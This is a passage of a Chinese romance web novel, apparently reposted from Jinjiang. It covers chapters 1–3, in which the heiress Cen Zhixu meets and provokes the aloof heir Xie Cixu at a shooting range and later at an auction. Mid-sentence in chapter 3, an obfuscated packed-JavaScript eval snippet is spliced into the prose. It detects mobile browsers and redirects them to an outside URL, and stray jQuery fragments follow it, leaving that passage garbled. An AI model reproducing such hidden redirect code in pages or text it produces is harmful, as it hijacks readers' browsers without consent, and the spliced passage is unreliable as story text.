《陷落春日》 1. 陷落 【晋江文学城2024.10.08】 【陷落春日/遇淮】 “真不明白我哥哪根筋搭错了,明知道你跟傅斯年刚分,还故意把他叫来,要不……阿稚你先避一避?” 正值热夏,射击馆室内外温差相差极大,岑稚许不过才玩了一小会,脊背已然氤氲出一层薄汗。 闻言,她不疾不徐地把枪扔给射击馆的教练,拉开易拉罐的金属环,“圈子就这么大,我回国的事过不了多久就得传开,现在躲着他,倒显得我还余情未了似的。” 见岑稚许反应平淡,庄晗景放下心来的同时,免不了多调侃两句。 “当初你跟人家分得这么干脆,就真的没一点后劲儿?我可听说,他专门买了个星体的命名权,叫什么——“许愿”,啧啧啧,一语双关,搞天文的就是浪漫。” 岑稚许慢条斯理地揉着小臂,分出心神来想,果然是疏于练习,7.62高仿真模拟子弹才玩了十几发,竟察觉出一丝酸痛来。 她眉稍不在意地上扬,抿了一口沁凉的汽水,“不过是沾了个许字而已,你们就各种揣测人深情,保不准他只是许愿自己事业有成蒸蒸日上,跟我没半毛钱关系。” “这话可不好说。前段时间我三叔不是调职了吗,听说外交部今年考进去了一位履历样样都光鲜的年轻博士。” 岑稚许听出了庄晗景抛砖引玉的意思,笑了一声:“难道是天文学博士?” 庄晗景嗯哼几下,夸赞道:“聪明。” “这种家庭培养出来的,职业规划突然大转圜,要说没点外力刺激,狗都不信。”庄晗景眨巴眼看向岑稚许。 岑稚许彻底无语。 傅斯年傅斯年。提起这三个字她就头疼。 前段时间傅家长辈还跟岑稚许她爸有过合作,傅斯年专程拜访,他长相清正,为人谦虚守礼,佯装无意问及她的近况,颇得她父亲钟意,不多时就给岑稚许推了他的微信,要她有空和他多聊天熟络。 聊个屁啊。 她亲手把人拉进的黑名单,再加回来,想想都知道有多尴尬。 自从和傅斯年分开以后,岑稚许决定再也不找家世相当的人恋爱,她玩心重,要求又高,对方在她之前最好连什么暗恋对象、白月光都不要有,至于能走到哪一步,说实话,她没想过,兴趣淡了自然也就散了。 整个京城圈子来来回回总共就那些面孔,有的就算从未打过照面,也听过名字,从人脉关系网里总能摸出一二,要是个个都像傅斯年一样,想方设法地在她父母面前晃悠,她还过不过日子了。 也就她爸比较好说话,要真要传到母上大人那里去,保不齐一顿严肃的家庭教育会,至于傅家的合作也得吹。 岑稚许谈恋爱不太走心,但两个人的事不伤及家庭利益的原则是底线,总不能好聚好散后还留个心中歉疚。 她视线一转,不想再继续这个没有营养的话题,清清淡淡地皱眉,“就没有别的饮料吗,每次都是菠萝味的,难喝。” “将就吧大小姐,他们这里的饮料就那几款,齁甜,两罐下去都够我得好几次糖尿病了。”庄晗景说到这里叹了口气,“真怀念以前的吧台。” 这家射击馆开了好几年,早些年还是会员制,现在按枪种收费,低则几十块一发子弹,贵的成百上千,玩得好的发小都喜欢往这跑。自从天价红酒的事情在网上被营销号爆了以后,高额消费一夜之间悉数下架。庄晗景愈发好奇,追着她哥问缘由,最后还是岑稚许看不下去,直言,人家都夹着尾巴低调做人了,就是不想暴露家里的背景,何必刨根问底。 两人分明同龄,该在社会上挨的打都差不多,岑稚许却在这些事情上十分通透。 她不会和庄缚青一样故作深沉,也不像长辈那样长篇大论,说话时眼眸平静,神情温淡,相处起来尤为舒心。 见岑稚许翻找通讯录,庄晗景仿佛一眼看穿她:“你该不会想让人送几瓶酒来吧?” “拜托!这可是我哥的场子,你不怵,我还怕我下个月的零花钱被克扣呢。” 岑稚许:“……” 想到庄缚青那张臭脸,岑稚许忽然觉得也不是非得触这霉头,唇角往下压了压,妥协道:“逗你玩的,我点奶茶。” 距离外卖送过来还要一会,岑稚许重新拿了把长枪,庄晗景也跟着凑过来,只不过两人的枪法天差地别,用庄缚青的话说,这枪拿在她手里,纯属浪费。 庄晗景本着肆意挥霍她哥金钱的目的,一通乱打下来,身心受挫,干脆坐在一旁欣赏岑稚许。 岑稚许生得高挑纤细,稍显厌世的狐狸眼,眼尾缀着一小颗褐色的痣,上唇偏薄,典型的薄情标志,偏偏下唇饱满,使得她整个人身上的气质介于清丽与美艳之间。 惊为天人。 这四个字用来形容她再贴切不过。 岑稚许的枪法一向精准,连中十环,连眼睫都未颤动,教练在她身侧宛若陪衬。 一个人玩到底没什么意思,岑稚许正欲放下枪,不远处传来一阵脚步声。 射击馆的高层西装革履,恭谨地保持着小半步的距离跟在那人身后。刺眼的阳光透过镜面将空间分割成一片片模糊的光晕,为首的人步伐匆忙,岑稚许看不真切,只瞧见一个倨傲冷冽的背影。 没有任何象征身份的配饰,却透露出与生俱来的松弛与散漫。 对方若有所察般,深不见底的黑眸朝她的方向扫来。 千钧一发之际,庄晗景匆忙拉着岑稚许转身避让。 视角错开的间隙,庄缚青也从室内馆起身相迎,哪怕对方迟到了半小时,这群向来玩世不恭的公子哥也不敢有半点怨言,眉目间挂着低顺的笑意,“辞哥,这会枪都上膛了,准备玩哪种?” 谢辞序并未抬眼,高挺的眉骨轻折,对于先前的注视不虞,周身泛出淡淡的压迫感。 “今天不玩枪。” 在射击馆不玩枪,还能玩什么? 传闻都说谢辞序行事低调,傲慢和恣肆都深藏于面具之下,直到见了真人,才发现不尽对。 众人都当是哪里惹怒了谢辞序,唯有庄缚青神情自若,“射箭也有,不过环境相比城北馆差远了,这次就当消遣,改天您有时间,再赏脸跟我们聚呗?” 谢辞序微微颔首,算作应答。 等岑稚许转过身时,众人早已簇拥着进了室内馆,徒留一地乌木淡香,她这才慢悠悠地收回眼神,“刚才那位是谁啊?这么大排场,竟然还要拉着我躲。” “别告诉我谢家太子爷你都不认识。” 岑稚许:“哪个谢家?” “京城还能有哪个谢家。” 知道岑稚许要说什么,庄晗景絮絮叨叨地补充:“这位可不是善茬,在Oxford攻读硕士那几年,打破了好几项精密仪器的技术壁垒,操手整顿马他们在马来的生产线,短时间内,他手里的几家公司市值翻了几十番,跟圈子里那群靠着信息差投机取巧的公子哥不一样。” 京城排名第一的谢家根基深厚,产业从金融、地产、化工涵盖各类制造业,总市值估价超千亿,当之无愧的顶奢豪门。媒体们爱扒豪门秘辛,却从未传出过有关谢家的谣言,说是只手遮天都不为过。 “你跟谁犯浑都不要紧,可千万别惹他。” 庄晗景再三强调,岑稚许听得耳朵都快起茧子了,“好了好了,没必要这么担心我渣人家吧?谢家太子爷气质是不错,不过我的眼光你又不是不清楚——” 岑稚许稍作停顿,漂亮的狐狸眼弯出一丝弧度,“我颜控。” 庄晗景欲言又止,心想,太子爷这顶级神颜没被发现,纯粹是因为没有交集。 只能祈祷两人千万不要擦出火花。 手机嗡声震动,是庄缚青发来的消息: 【待会要跟谢辞序谈北部那块地的事。】 【我建议你也出面。】 北边那块地是岑稚许和庄缚青一起看上的,依山傍水,又有政策加持,往后数上个五六年,周遭的建设也就热闹起来了,具有极强的投资潜力。 岑稚许想搞个赛车俱乐部,庄缚青则倾向于度假庄园,两人对此谈得不太愉快。 后来岑稚许扔了一笔钱过 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认识这么多年,庄缚青抓她的命脉抓得总是无比精准。几条消息就把她扰得心气不顺,也没心思继续玩枪。外卖送到后,庄晗景惊喜地发现还附赠了一盒甜品,岑稚许起身,往箭术馆的方向走。 同射击馆力求隔音的布局不同,天窗几近全透明,室内采光敞亮,空气中弥漫着香氛气,而那群本该在隔壁的公子哥们,此时正谈笑风生。 岑稚许视线掠过众人,也不好退身离开,从容往前。 正在同人谈话的庄缚青掀眸,岑稚许的步伐却并未停顿,直至在尾部的休憩沙发里,一眼望见他。 他坐姿散漫,凌厉眉骨下,压着一双冷寂疏冷的黑眸,仿佛游离于名利场之外,显得孤傲又落拓。 修长冷白的指骨把玩着一根箭矢,更显筋络分明,画面堪称赏心悦目。 岑稚许从没见过他,而在谢家太子爷露面的场合,唯有他徘徊于圈子边缘,连赔笑的资格都没有,想来也是谁带过来的小角色。 或许是她注目的眼神太过直白,他眉梢微蹙,视线相撞的那刻,宛若冰封万年的苍茫雪山,裹挟着凛冽的寒潮,强势又充满攻击性地蚕食深秋的最后一丝暖意。 这是个很危险的人。 直觉分明在拉响警报,但感性向来无法占据理智的上风,岑稚许的视线从他如玉般的手指移至泛着冷金属光泽的箭尾,一小排浅金色暗纹映于其上——Abyss. 明显的手写意大利斜体,字迹挺拔浑厚,细看暗藏锋芒。 定制的箭尾? 饶是心中有疑惑,岑稚许还是同他搭讪,“你对射箭很有研究?” 对方没有回答。 面对连眼神都透着冷意的男人,岑稚许也并未怯场,将他的寡言当作默认,挽唇继续话题:“正巧我也挺感兴趣的,要不你教教我?” 这句话在社交场合里尚且算不上周全,更何况是未知身份的陌生男人。 就在她倍觉无趣之际,男人终于掀眸睨她,身后响起一片抽气声。 先前还纸醉金迷般的气氛骤然陷入凝滞。 他慢条斯理地站起身,闲庭信步般的走向靶场,擦身而过的那刻,岑稚许才无比明晰地感受到来自身高和气场的压制。 弓弦绷紧,松散挽起的衣袖之下,迭起的青筋和强劲的手臂无一不充斥着极强的荷尔蒙张力。 冷灰色调的衬衫质感很高级,将男人腰腹处的肌理勾勒出令人脸红心跳的纹路,让人无端觉得他这样的人,该是欲念难平,倜傥风流的,可对上那双冷冽的眸子,又让人恍然所觉,或许是他自甘禁锢。 先前他懒倚在沙发边缘时,根本看不出肌肉的爆发力,难怪让岑稚许模糊了判断力。 利落连中十环后,他转过身来。 刻着暗纹的弓身划破寂静,像是随意掷过来,却并没有居高临下的意味,岑稚许轻松便接住。 男人冷冽的面容同先前惊鸿一瞥的背影逐渐重叠,只留下惜字如金的两个字。 “学吧。” 2. 陷落 男人的声音很好听,低醇如酒,夹杂着一点清玉的质感,掠过耳畔时,整个耳廓都跟着酥酥麻麻的。 加之他骨相优渥,浑身都透着盛气凌人的冷意,像是只可远观不可染指的月光,因此哪怕口吻冷淡,也难减其魅力。 不过,岑稚许接连说了三句话,才换来他居高临下般的两个词。 多少让人心生不爽。 藏匿于深处的征服欲隐隐被勾了出来,让她生出几分想将眼前的高岭之花拉下神坛的罪恶心思。 岑稚许浅吸了口气,一边告诫自己,人家是客人,不是她的猎物,一边无意识地用指腹摩挲着弓稍,仔细地端详起来。 英国长弓相比传统的弓箭而言,弧度更简约,因此对木材的要求更高,而每年来自西班牙卡斯蒂利亚地区的木材有限,其稀有难得的特殊性曾在贵族间争相奉为潮流,优品木材更是千金难求。 岑稚许还算懂点门道,自然看出这把弓采用的紫衫木品质上乘,绝不是普通人能负担得起的,在靠近内侧的位置亦刻了一小排暗纹,显然不是射击馆的藏品。 弓臂似乎还残留着他的体温,极具侵略性地席卷而来。 岑稚许像被烫了一下,指尖轻颤,往后缩回手。怕他看出异样,她朝他清清淡淡地挽唇,纤细白皙的手掌摊开向上,“箭柄呢?” 似乎是从未见过得寸进尺至此的人,谢辞序眉峰轻挑,俊朗的脸庞镀了层寒霜。 他的沉默不言,反倒让岑稚许找回一点主场。 她往前迈了半步,眼眸流转间,温声说,“你要教我学射箭,总不能只给弓,不给箭吧。” 拒绝般的两个字,经她解读出别样的含义。 一声轻嗤溢出,谢辞序矜贵淡漠的脸上仍旧没有半点情绪流露。 周遭提心吊胆看热闹的人群早已避嫌般移开视线,唯有一双乌黑幽深的眸子一瞬不瞬盯着他们所在的方向。 这声冷笑要是被别人听到,或许早该羞愧至脸色涨红,而岑稚许反应却始终平淡,笑吟吟地望着他。 两人间的距离极尽,若有似无的花香宛若蝴蝶般扑面而来。 她似乎在这方面格外有经验,哪怕是面对他这种显而易见的不近人情,也能抓住哪怕一秒的晃神,踏足他泾渭分明的领地。 她又往前跨了半步,明晃的笑容如烈日般惹眼。 谢辞序眉心间郁结更甚,不由得凝神落向那张明艳昳丽的面孔。 宽松款的短T罩住一双修长匀称的长腿,牛仔裤的颜色偏深,显得露出的一小截脚踝细而窄,冷白的肤色宛如凝脂,浑身都透着一股松弛随意的美。 她太自然,也太镇静了,就像是纯粹来放松玩乐的,根本不知道看似平静悠闲的场合,实则是处处都充斥着暗流涌动的利益链。 这份怡然自得的随性,要么来源于自身的底气,哪怕得罪他,她也有余地抗衡;要么根生于无知,不属于这个圈子,自然谈不上奉承斡旋。 而他竟也有看不透的时候。 在这鸦雀无声的寂静氛围里,箭童战战兢兢地维持原地不动的姿势,两边都得罪不起,拢共就两位祖宗,偏偏还都被他碰上了。 最后,这场对峙以岑稚许懒洋洋的笑声拉下帷幕,她像一只蹁跹的蝴蝶,拿出箭袋里的第二支弓箭,故作笨拙的样子,模仿着谢辞序先前的站姿。 身居高位的人,城府必然深重,就算年轻,也不会因为陌生人的搭讪而扰动心神。别说是那些高段位的老狐狸了,岑稚许碰到类似的事,眼皮子都懒得眨。 除非……猜不透对方的心思。欲望写满脸上的人不可怕,往往无所求才最应该警惕。 岑稚许看出他的不悦,抿了抿唇,心情难得好了不少,柔声询问,“这样对吗?” 谢辞序周身蕴着些许戾气,微微抬了下眉,“嗯。” 她如此张扬高调,明目张胆到根本让人难以忽视的僭越,谢辞序的耐心即将告罄,却又被那声笑扰乱了濒临爆发的情绪,就这样看着利利刃出鞘,稳中十环。 不偏不倚,正巧落在了谢辞序先前那支箭的旁侧。 “看来我还是挺有天赋的。是吧?”岑稚许回眸,模糊了他的姓氏,咬字道:“老师。” 这种混淆视听的招数跟死缠烂打无异,谢辞序冷峻的线条染上一丝愠意,庄晗景心头冷汗直冒,装作不知情般飞奔向岑稚许,亲昵地挽上她的手臂,“阿稚,原来你上这来玩了,难怪刚才到处都找不到你,奶茶的冰都快化完了!” 庄缚青先前提及过他这个性格活泼的妹妹,兄妹俩长相有着五六分相似,谢辞序不难辨认出她的身份。 两个女孩黏黏糊糊的凑在一起,青春气息浓厚,跟叽喳的喜鹊一样,谢辞序也不好发作,正巧供应商的电话打来,他没了继续的兴致,连借口都没询,便上了接待员已停在门口的那辆布加迪LaVoitureNoire。 这辆车被称为黑夜之声,发售价高达1870万美元,全球仅限量十辆,权力与地位的象征,重金属质感的车身充满未来科技感,宛若暗夜中穿梭的一抹孤影。 岑稚许当初也看上了这款,却因价格望而却步,在网上刷到过无数视频,真正见到实物,惊艳有过之而无不及。 庄晗景脖子伸得老长,感慨人外有人天外有天,“我平时还觉得自己过得挺不错的,吃喝玩乐样样不愁,结果人家一辆车都够我花几辈子了。” 岑稚许:“咱们也不亏,一分钱没花就能看到九位数的豪车。” 见岑稚许还有心情开玩笑,庄晗景控诉,“你到底有没有点良心啊,刚刚差点把我吓死了,辞哥你都敢惹。” 几分钟前,岑稚许才信誓旦旦地说对谢家太子爷没兴趣,不过眨眼的功夫,就被啪啪打脸,庄晗景内心懊恼没有早点给岑稚许看照片,闹了这么大一个乌龙。 饶是已经坐实了猜测,岑稚许还是谨慎地念出了他的名字:“辞哥……谢辞序?” “除了他还能有谁。” 放眼整个京市,能够让她小心谨慎到这个地步的,也只有翻手为云覆手为雨的那位。 庄晗景:“要不你下次找个机会让我哥组局,给太子爷道个歉,这个事也就过去了,留个疙瘩总让人心里毛毛的,不踏实。” 岑稚许觉得夸张,她又没做什么冲撞谢辞序的事,最多是话有些密,哪里至于特意登门道歉。 “有那个必要么?” “当然有!”庄晗景撅了撅唇,“哎呀,先前拉你参加聚会你不去,她们的小道消息可多了,什么豪门私生子呀、出轨秘闻啦,都是小case。听说谢辞序还挺招人恨嫁的,身材又劲又野,长得那么顶,除了性子冷些,跟他联姻百利无一害。” 岑稚许:“他要是真这么抢手,怎么到现在都没有传出绯闻?” “重点就在这!太子爷心高气傲,做事不像老谢董那样圆滑,凡是主动靠近他的,没一个好下场。” 庄晗景在社交场上一向混得很开,别管商业互吹还是塑料姐妹花的情谊,跟八爪鱼一样维系得很好,甚至还能心平气和地跟讨厌的人手挽手参加舞会,岑稚许做不到,也就没参与她打下的八卦江山。 有关谢辞序的事她听过不少,不是说他眼高于顶,就是揣测谢家太子爷瞩意哪家豪门,强强联手后的商业版图,该如何破局。 总是大家讨论得热火朝天,当事人却稳坐高台。 庄晗景将谢辞序雷厉风行的事迹讲得绘声绘色,难得吸引了岑稚许的注意,“这么说,他就是块捂不化的石头呗。” “我知道他是你的菜。”庄晗景说,“但这盘菜能看不能吃,不碰为好,你要是实在喜欢这款,不如找个贴心懂事的平替……” 岑稚许不明白庄晗景怎么秒变这副紧张兮兮的备战状态,就算她真想钓谢辞序,也得人家有意才行,按他那严防死守油盐不进的脾性,庄晗景的担心纯属多余。 “庄大小姐。”岑稚许打断她,似笑非笑地说:“你对我的滤镜是不是太重了一点?” 庄晗景恨铁不成钢:“你对自己的认知能不能清晰一点。你简直就是天生超绝狐狸圣体好吗!” 只有岑稚许想,几乎就没有她拿不下的人。 “特别是每次有求于人的时 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兄长般的严肃口吻,辅以充斥着深谙的眼神,总让岑稚许察觉这份情谊正走向濒临变质的边缘,但庄缚青始终克制,令她捉摸不透。 “没有下次。”岑稚许说,“谢家太子爷日理万机,恐怕转眼就忘了我这个没有名号的路人。” 庄缚青读懂了她不想暴露身份的意思,平声说:“这样也好。” “你们今天聊得怎么样?”岑稚许岔开话题。 投资的事岑稚许已经许久不曾过问,陡然见她提及这个话题,庄缚青有片刻的讶异,旋即恢复如常神色,言简意赅道:“不欢而散。” “今年政策变化很快,那块地附近十几公里的地方,将要建设大型数据中心,谢辞序前年创办的互联网公司有意赶上AI迭代的浪潮,因此他退让的几率很低。” 岑、庄两家的产业逐渐转向外贸,最近的风向变化太快,庄缚青同岑姨商谈过,出于谨慎心态,不敢涉足,其中的敏感之处多少知晓一二。 他说得委婉,得到答案后,岑稚许倒也没显得多意外。本来就是玩票兴致的投资,跟谢辞序这种走一步看十年、二十年的长期规划相距甚远,别说是眼光敏锐的生意人,单凭谢辞序那眼高于顶的桀骜个性,也不会为他们而做出改变。 庄缚青沉吟片刻,旁敲侧击道:“你后续有什么打算?” 状似只是在就事论事讨论未来,毕竟他们也勉强算得上是统一战线的合作伙伴,玻璃顶棚光线柔和落下,为他镀上一层暖光。 有那么一瞬间,岑稚许生出被试探的错觉。 后续什么打算? 对谢辞序的? 她没有那么无聊,阴差阳错的相识,不会成为她进攻的理由。 “随遇而安咯。”岑稚许察觉出一阵疲惫,打了个哈欠,声线沾染慵懒的软绵,对庄晗景道:“时差还没倒过来,我回去睡觉了,没什么事别找我。” 她对睡眠有很高的要求,以往跟着大家一起通宵过后能一口气睡够十几个小时,几乎处于短期失联状态,除非亲自上门去堵人,否则谁也别想把岑大小姐叫醒。 庄缚青没作挽留,“好好休息,那些喝酒的聚会,就别去了。” 岑稚许没回答,余光瞥向靶心处那支如寒梅般孤傲独立的箭。 教练默默观察她的表情,见她眼神意味深长,解释道:“谢先生没有带走这支箭。” 旁的都带走了,唯独留下了她射出的那支。 先前庄晗景在她耳边说的话浮涌而出——谢辞序有洁癖,所有的物品均为私人定制,凡是旁人碰过的东西,必定不过再经他手。 射击教练后知后觉地意识到自己说错了话,反过来安慰她,“岑小姐,或许谢先生不是那个意思……” “没关系,谢先生遗忘的东西,有机会我会代贵馆还给他的。” 岑稚许命人将箭收整好,漂亮的眼睛始终维持体面与平静。 她不会为难无关人员。 只是,到了无人所见的地方,高傲的天鹅颈轻垂,漂亮的黑眸透亮清凌,盈着几分跃跃欲试的野心。 忽然不甘心就此败北。 3. 陷落 岑稚许将那支箭保存了起来,放在玄关处当装饰品。傍晚时分,她从庄缚青那要来了谢辞序的联系方式,他的微信头像极为简约,是一只坐在草坪上的捷克狼犬。 从光滑的毛发和矫健的肌群不难看出,这只捷克狼犬被养得很好,黑亮的瞳珠保留着原始的攻击性,不似寻常家养时透露出的卑顺。 市区内的烈性犬种类禁养名单很长,捷克狼犬也在其中,想来也是单独辟了处幽静的庄园,才能有足够的场地和空间驯养。 披在肩侧的软巾顺着柔滑的肌肤向下滑,察觉到一阵凉意,岑稚许正打算关掉图片,这才注意到左下角黑黄相间的斑点,约莫也是一种动物。 虎斑猫?亦或者花豹? 可惜图片里暴露出的信息太少,无法做出准确判断。 通过社交圈头像往往可以判断出对方大致的个性,不过越是位高权重的人,也就越善于伪装,岑稚许没有花费太多时间去分析,只是意外,谢辞序竟然喜欢养宠物。 当然,他的宠物也如主人一般,充斥着危险,野性,凶戾。 拒人于千里之外。 岑稚许指尖翻飞,在好友申请备注里留下两个字——“还债”,刚发出申请,系统弹出提示:【由于对方隐私设置,你无法通过名片将其添加至通讯录】 ? 岑稚许不信邪,又用手机号搜索了一遍,仍旧是同样的结果。 禁止搜索,也禁止名片添加。 也就意味着,能够在谢家太子爷好友列表的人,都是来自于他纡尊降贵地主动添加。 难怪庄缚青毫不犹豫地将谢辞序的微信推过来,估计也是存有几分想看她吃瘪的心思。 她摁灭手机,不再看微信里接二连三冒出来的群消息。 - 次日黄昏,橙红的天际染上层次分明的余晖,绚丽壮阔的立交桥路灯同鳞次栉比的高楼大厦点亮夜灯。 岑稚许回国的消息还没有传到她父母那,因此也不太敢回家里取车,只开了辆奔驰S480,这还是二十岁生日那年庄缚青送的,她向来不太爱自己开车,留在别苑的地下室里,极少问津。 接到庄晗景后,天色已然暗下。 “真是太阳打西边出来了,你时差这么快就倒好了?” “昨天那么说,纯粹是为了找借口离开而已。”岑稚许在庄晗景面前向来很坦诚,语气平静,“不想听你哥明嘲暗讽。” 庄晗景也不意外,从中缓和两人的关系,“你不知道,你在外面的这两年,他都快忙成了工作机器,跟下属待久了,说话的语气也冷硬。他心里还是很记挂你的……” 话音刚落,车辆正巧驶入红绿灯等待区,岑稚许侧眸,“叛变了?在这当你哥的说客,还不如回家劝劝他,少管别人感情上的闲事。” 明明以前岑稚许很依赖庄缚青,他足够包容,哪怕岑稚许和庄晗景闯了祸,他也从不会冷脸。两家往来密切,三人也胜似亲兄妹,直到不知什么时候起,降到冰点后,再也回不去从前。 昨天那场局,岑稚许原本是不愿意去的,庄晗景软磨硬泡才说通她,又在庄缚青那边下了一番口舌功夫,才争取来这个机会。 谁知道庄缚青放出邀请傅斯年的重磅炸弹,哪怕只是虚晃一枪,也闹了个不愉快。 许久未启用的车辆饶是有人定期保养,山茶香薰的味道仍旧不太合调,庄晗景将车窗降下来一点,“他掌握着我经济命脉的生杀大权,我哪里敢。” 须臾,窗外浑浊的热浪涌进来,岑稚许目不斜视地倒数着读秒。 庄晗景兴致勃勃地挑选起了餐厅,“还是去国贸那家吗?他们今年的和牛供应地换了,雪花特别漂亮。” “不用,拍卖会后台的主厨已经定好了今日的菜单。”岑稚许说,“我记得应该有一道是时令限定,你应该会喜欢。” 岑稚许的母亲是京都拍卖行的重要客户,每年在这里消费的金额流水高达八位数,珠宝、古董、名画以及各种藏品无数,岑稚许本身就随母姓,家里又只有她一位千金,因此拍卖行破例为她也提供了最高规格的服务。 不仅拥有私密性极强的包厢,也会由黑□□厨进行私人定制餐品,且每年都有不同的主题,将奢华与尊贵体现得淋漓尽致。 “这才是岑大小姐纸醉金迷的生活嘛。”庄晗景乐得拍手,“不像我哥,总是扣扣搜搜的。” 吐槽起亲哥来,庄晗景丝毫不客气。 岑稚许面色温柔地听着,唇角弧度淡而柔和,前来泊车的接待员见传说中的岑氏千金只开着辆百万出头的车,不免疑惑,同她反复确认名字。 原本的无障通行平白添了几道流程,岑稚许虽觉得麻烦,却也配合着一一验证。 直到信息无误,接待员汗流浃背地躬身道歉,岑稚许轻飘飘地说:“没关系,这是你的工作,我能理解。” 接待员对岑女士的印象很深,对方强势到说一不二的气场太过干练,更注重办事效率,若今晚来的人是她,他必定会承担这份延误时间的后果。 想不到这位漂亮到让人过目不忘的岑小姐,竟然如此宽厚。 将两位年轻的女士引进拍卖厅的三楼包厢,前菜和餐前点心陆续上齐。 拍卖厅可容纳的人数并不多,装潢偏向于古典金碧辉煌的审美,顶部中央的St.louis水晶吊灯夸张而繁复,墙砖的金丝纹线泛着莹莹光泽,深酒红色的萨瓦纳瑞手工羊毛毯将视觉与听觉都拉回了静谧。 岑稚许遥隔着中庭望向另一侧的包厢,里头溢出微醺的暖光。 庄晗景拍完照,顺手在朋友圈发了定位,才好奇地凑过来,“今晚还有哪位大佬也来了?” 以往岑稚许过来,都是由拍卖行的高层接待,今天却只见到个陌生面孔,想来也是那位人物更贵重。 京城繁华璀璨,能够同岑家比肩其名的并不多。 “我记得对面的包间才是视野最好的吧,难怪把我们安排在这,也太区别对待了。”庄晗景小声抱怨。 岑稚许敛着眸收回视线,用温热的毛巾仔细擦拭着纤白的指尖,习以为常道:“我们手上没有真正的权利,别人愿意耐心交涉,说白了也是为了背后掌握资源的人。” 庄晗景也懂这些道理,就像是她遇到爸妈公司里的高层,也得端着笑甜甜地喊一声阿姨或叔叔。她手上是有点小钱,但消费也高,爱马仕稀有皮都够她攒挺久了。 “我发现你现在比以前稳重好多,说话都一针见血的。”庄晗景拖着下巴,上上下下端详着岑稚许,惹得她无奈轻笑。 拍卖正式开始,前面的拍品都是些珠宝首饰之类的,底下不时有人举牌竞价,岑稚许此行只为了压轴的那幅经变画残卷,因而兴致缺缺,并没有太过关注。 “晗景。”岑稚许抿了一口红酒,“你有没有想过,不再仅仅依附于庄缚青的羽翼。” “哈?不行不行。”庄晗景连连摆手,“有哥不坑白不坑,他给钱我哪有不要的道理。” “别告诉我,你家的资源你也不想用——” 拍卖骤然暂停,西装革履的工作人员同拍卖师耳语几句后,压轴的藏品提前上场,底下的人群也传来一阵骚动,因调换顺序的事有些不满。 提前上场的拍品之一,正巧是岑稚许追溯了几个月的残卷。 隔着厚重的玻璃,拓印于丝绸上的经变画色彩鲜浓,笔法细腻温雅,可惜随着岁月磋磨,变得残破不堪,另外几片更是因保存不当而黯淡发灰。 岑稚许缓缓坐直了身子,神情也变得认真起来,她温声对侍者说了一个数字,几秒后,拍卖台上响起报价声。 她这才偏头去接庄晗景的话,“我的意思是,你可以创办一家自己的珠宝工作室。” “三百八十万。”拍卖师嗓音力度缓提,“17号先生出价翻倍,还有再加价的吗?” 播报声让岑稚许眉头轻蹙,对于那位神秘人物翻倍加的阔绰感到意外。 “加到三百九十五。”岑稚许道。 视线落回台上,拍卖师再度报出的数字昂令岑稚许深思一跳。 对方直接加到了八百万。 国内的拍卖规则明晰,没有这样加价的道理。 更何况,这份残卷如此破败不堪,文物本身的收藏价值正在随着保护不当飞速流逝,她之所以拍下,是为了能够更好地修复还原。 而对方如此来势汹汹,倒让她愈发琢磨不透。 岑稚许账户里的流动资金并不多,她盘算了一下,也没再纠缠,加到了一千万,打算就此一锤定音。 “两千五百万,恭喜17号先生,成功拍下这件展品。” 场下议论声阵阵,人人都在观望低语,今夜注定是一个不眠之夜。在京城最繁华的地界,这位未曾露面的先生将整场拍卖会的规则重新界定,又于短短几分钟的时间内,接连一掷千金拿下压轴拍品,让人切身实地理解了声色犬马几个字。 岑稚许蓦然起身,在庄晗景的呼唤声中,推开包厢门,踩着细高跟,绕过环中庭的廊道,往同样点着灯的另一侧包厢走去。 与此同时,那位不肯暴露姓名的先生似乎也欲离场,两侧戴着白手套、打领结的侍者分散。 站在窗边的男人眉眼深邃锋棱,深黑色高定西装质感高级,腕间戴着一块百达翡丽,身形硕长,笔直的西裤下是一双锃亮干净到纤尘不染的皮鞋,整个人透着一股冷傲倜傥的贵气。 同昨日初见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054568|149139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过才隔了一天,谢辞序周身浮盈出的上位者气息明显更为浓烈。 两人视线相撞,岑稚许并未有所闪躲,将目光缓缓移至他将西服撑得饱满挺括的胸间。 宽肩窄腰,腰腹间收束的弧度布满隐匿的张力,也只有他这样的身材,才能将高定西装穿出矜贵的感觉。 岑稚许克制的收回视线,嗓音缱绻慵懒,“谢先生,好巧,在这碰到你。” 谢辞序的行程紧密,并没有打算在这里停留太长时间,因此对另一间包厢的客人竞价的事没有在意。 眼前的人化了全妆,狐狸眼尾处的小痣被盖住,细碎如海面般的闪片若隐若现,饱满的下唇只薄涂了一层艳色的红,不是当下流行的妆容,明艳到扎眼。 美丽濒临极限,往往会呈现出一种破碎感,让人生出保护欲。 但她不是,她的漂亮是有攻击性的。 不像是甘心于屈服的羸弱菟丝花。 谢辞序只一秒便收回视线,眉梢懒散,“你是?” “谢先生不记得我也正常。” 岑稚许这张脸是杀人的利器,极少有人会忘记她的长相,走到哪里都足够引人瞩目,谢辞序也不例外。 他刚才漫不经心地扫过来,余光在她眼下停留片刻,漆黑如深潭般的眸子里辨不出波动。 但他停留的那半秒,足以让岑稚许知晓,他在观察她的那颗痣。 他记得她。 不管印象是好是坏,总归比陌路人好。 岑稚许仿佛并未受到影响般,挽唇说:“上次太匆忙,忘了介绍,我叫岑稚,是庄晗景的大学同学,昨天我们才见过面的。” 她故意隐去了一个字,模糊了身份。 经她提醒,谢辞序的神色依旧淡漠,只抬了下眉梢,男人高大挺括的身形如山般压下,声色清冷:“学生来这种地方。” 他微微一顿,意有所指,“岑小姐的消费水平,挺不错。” 岑稚许原本想同拍下残卷的先生商量,谁能想到对方竟然是谢辞序。 倘若时间线拉回昨天,谢辞序如果能通过她的好友申请,她一定会和他正面交涉,让彼此都处在光线之下的位置。 可是此刻,他意外打破了她关于残卷的计划,双方的较劲形成于无形之间,昨晚的不甘心隐隐侵占着她的理性。 她起了一点恶劣的玩性,没有向他摊开牌面。 “我才来京市不久,也就是跟着晗景来见世面,感受一下城市的繁华。” 庄晗景气喘吁吁地赶过来时,正巧听到这几句,表情登时变得古怪。 